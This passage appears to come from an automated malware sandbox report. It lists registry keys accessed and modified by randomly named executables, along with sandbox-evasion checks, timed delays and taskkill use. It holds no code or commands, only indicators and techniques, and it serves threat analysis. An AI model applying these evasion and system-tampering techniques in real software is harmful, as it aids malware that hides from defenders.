\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{80d81ea6-7473-4b0c-8216-efc11a2c4c8b}\0002 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{540b947e-8b40-45bc-a8a2-6a0b894cbda2}\0009 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\CompatibleIDs svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{3b2ce006-5e61-4fde-bab8-9b8aac9b26df}\0008 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Capabilities svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\ConfigFlags svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{83da6326-97a6-4088-9453-a1923f573b29}\0005 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Service DrvInst.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{a8b865dd-2e3d-4094-ad97-e593a70c75d6}\0018 svchost.exe Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI btsitav Key enumerated \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI K5VKeIvX3UicT2rPEMclHW7I.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{3464f7a4-2444-40b1-980a-e0903cb6d912}\0006 svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Mfg svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{656a3bb3-ecc0-43fd-8477-4ae0404a96cd}\2003 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0055 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0051 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\DISK&VEN_&PROD_HEARTDISK\4&37CE57BA&0&000000 rundll32.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\0034 svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004C svchost.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\Properties\{88ad39db-0d0c-4a38-8435-4043826b5c91}\000A svchost.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\Disk&Ven_&Prod_HeartDisk\4&37ce57ba&0&000000\HardwareID tapinstall.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI\CdRom&Ven_Sanu&Prod_Sanu_DVD-ROM\4&37ce57ba&0&010000\Properties\{78c34fc8-104a-4aca-9ea4-524d52996e57}\004D svchost.exe -
Checks processor information in registry 2 TTPs 64 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
RUNDLL32.EXErunvd.exeRUNDLL32.EXERUNDLL32.EXEiXuyYnQI0maIV3eqPgaM8iuo.exe_nC2EOcl43xMFddfhK8fAc1I.exeerHF7ALEexVo6HS5mSuw0Zii.exesvchost.exedllhost.exeV4u5j96Bd6n84PYzIUN4DUY2.exedescription ioc process Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString runvd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Configuration Data RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 iXuyYnQI0maIV3eqPgaM8iuo.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString _nC2EOcl43xMFddfhK8fAc1I.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString erHF7ALEexVo6HS5mSuw0Zii.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Identifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Platform Specific Field 1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Component Information RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 svchost.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz svchost.exe Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\FeatureSet RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Status RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 runvd.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Platform Specific Field 1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information RUNDLL32.EXE Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision RUNDLL32.EXE Key value enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Identifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Component Information RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\FeatureSet RUNDLL32.EXE Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\VendorIdentifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString dllhost.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Configuration Data RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Previous Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString RUNDLL32.EXE Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 _nC2EOcl43xMFddfhK8fAc1I.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 V4u5j96Bd6n84PYzIUN4DUY2.exe Key enumerated \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\VendorIdentifier RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\Update Revision RUNDLL32.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\Previous Update Revision RUNDLL32.EXE -
Delays execution with timeout.exe 7 IoCs
Processes:
timeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exetimeout.exepid process 6712 timeout.exe 8660 timeout.exe 7440 timeout.exe 2996 timeout.exe 6944 timeout.exe 5944 timeout.exe 6464 timeout.exe -
Kills process with taskkill 10 IoCs
Processes:
taskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exetaskkill.exepid process 3232 taskkill.exe 2900 taskkill.exe 4328 taskkill.exe 5512 taskkill.exe 9048 taskkill.exe 2204 taskkill.exe 7444 taskkill.exe 7628 taskkill.exe 8820 taskkill.exe 5520 taskkill.exe -
Modifies Control Panel 1 IoCs
Processes:
btsitavdescription ioc process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Control Panel\Colors btsitav -
Processes:
rundll32.exebtsitavschtasks.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\TypedURLs rundll32.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main schtasks.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000\Software\Microsoft\Internet Explorer\Main MicrosoftEdgeCP.exe -
Modifies data under HKEY_USERS 64 IoCs
Processes:
mask_svc.exeVlpZHmNbmGdteOmxqVJqeU3o.exesvchost.exeDrvInst.exeaUfLmom0BKaVeeyivPlm65hL.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-452 = "Caucasus Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-52 = "Greenland Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Key created \REGISTRY\USER\.DEFAULT\Software svchost.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\ActiveMovie\devenum 64-bit\Version = "7" svchost.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2371 = "Easter Island Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1872 = "Russia TZ 7 Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1871 = "Russia TZ 7 Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-432 = "Iran Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-911 = "Mauritius Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-181 = "Mountain Daylight Time (Mexico)" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\ svchost.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-222 = "Alaskan Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-651 = "AUS Central Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-732 = "Fiji Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-542 = "Myanmar Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1832 = "Russia TZ 2 Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-12 = "Azores Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2411 = "Marquesas Daylight Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-1721 = "Libya Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-365 = "Middle East Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2321 = "Sakhalin Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs aUfLmom0BKaVeeyivPlm65hL.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs aUfLmom0BKaVeeyivPlm65hL.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-961 = "Paraguay Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-221 = "Alaskan Daylight Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-152 = "Central America Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2752 = "Tomsk Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-831 = "SA Eastern Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1041 = "Ulaanbaatar Daylight Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-672 = "AUS Eastern Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-122 = "SA Pacific Standard Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-662 = "Cen. Australia Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-91 = "Pacific SA Daylight Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-572 = "China Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-622 = "Korea Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-572 = "China Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-2342 = "Haiti Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-1802 = "Line Islands Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates DrvInst.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-841 = "Argentina Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-671 = "AUS Eastern Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs VlpZHmNbmGdteOmxqVJqeU3o.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-872 = "Pakistan Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-241 = "Samoa Daylight Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My DrvInst.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-435 = "Georgian Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2632 = "Norfolk Standard Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-751 = "Tonga Daylight Time" mask_svc.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-261 = "GMT Daylight Time" VlpZHmNbmGdteOmxqVJqeU3o.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2391 = "Aleutian Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-2181 = "Astrakhan Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\@tzres.dll,-81 = "Atlantic Daylight Time" mask_svc.exe Set value (str) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\C:\Windows\system32\,@tzres.dll,-442 = "Arabian Standard Time" VlpZHmNbmGdteOmxqVJqeU3o.exe -
Modifies registry class 64 IoCs
Processes:
btsitavMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exeMicrosoftEdgeCP.exerundll32.exesvchost.exeMicrosoftEdgeCP.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\BrowserEmulation\LowMic btsitav Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IntelliForms btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CacheLimit = "1" MicrosoftEdgeCP.exe Set value (data) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\DynamicCodePolicy = 05000000 MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge btsitav Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Internet Explorer\Main\OperationalData = "1" btsitav Set value (str) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\Internet Settings\Cache\History\CachePrefix = "Visited:" MicrosoftEdgeCP.exe Set value (int) \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\Children\001\ACGStatus\ACGPolicyState = "8" MicrosoftEdgeCP.exe Key created \REGISTRY\USER\S-1-5-21-1594587808-2047097707-2163810515-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoft.microsoftedge_8wekyb3d8bbwe\MicrosoftEdge\IETld\LowMic btsitav Set value (str) 